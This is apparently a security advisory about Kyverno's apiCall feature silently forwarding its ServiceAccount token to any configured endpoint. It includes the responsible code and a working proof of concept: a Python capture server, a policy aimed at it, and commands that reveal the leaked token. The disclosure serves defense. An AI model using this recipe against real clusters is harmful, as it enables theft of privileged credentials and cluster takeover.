Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

Summary

Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

Details

Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:

/var/run/secrets/kubernetes.io/serviceaccount/token

and injects it into every HTTP request as:

Authorization: Bearer <token>

This occurs when no explicit Authorization header is defined in the policy.

Root cause

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    if token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}

This logic introduces several issues:

• Implicit credential forwarding to arbitrary endpoints
• No trust boundary validation (external/internal distinction)
• Undocumented behavior
• Header.Add instead of Set allows duplication
• No token sanitization (potential trailing newline)

PoC

Preconditions

• Kyverno installed (v1.17.1 tested)
• A policy using apiCall.service.url

Step 1 — Deploy capture server

kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
  print(self.headers.get('Authorization'), flush=True)
  self.send_response(200)
  self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888

Step 2 — Create policy

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: token-leak
spec:
  rules:
  - name: test
    match:
      any:
      - resources:
          kinds: ["Pod"]
    context:
    - name: r
      apiCall:
        method: GET
        service:
          url: "http://capture.default.svc:8888"
        jmesPath: "@"

Step 3 — Trigger

kubectl run test --image=nginx

Step 4 — Observe token

kubectl logs capture

Output:

Authorization: Bearer <SA_TOKEN>

Impact

Vulnerability class

• Credential exposure / leakage

Impact details

• Exposure of Kubernetes ServiceAccount token
• Token grants:
  • Full control over Kyverno policies
  • Ability to create/delete webhooks
  • Read cluster-wide resources
  • Privilege escalation and persistence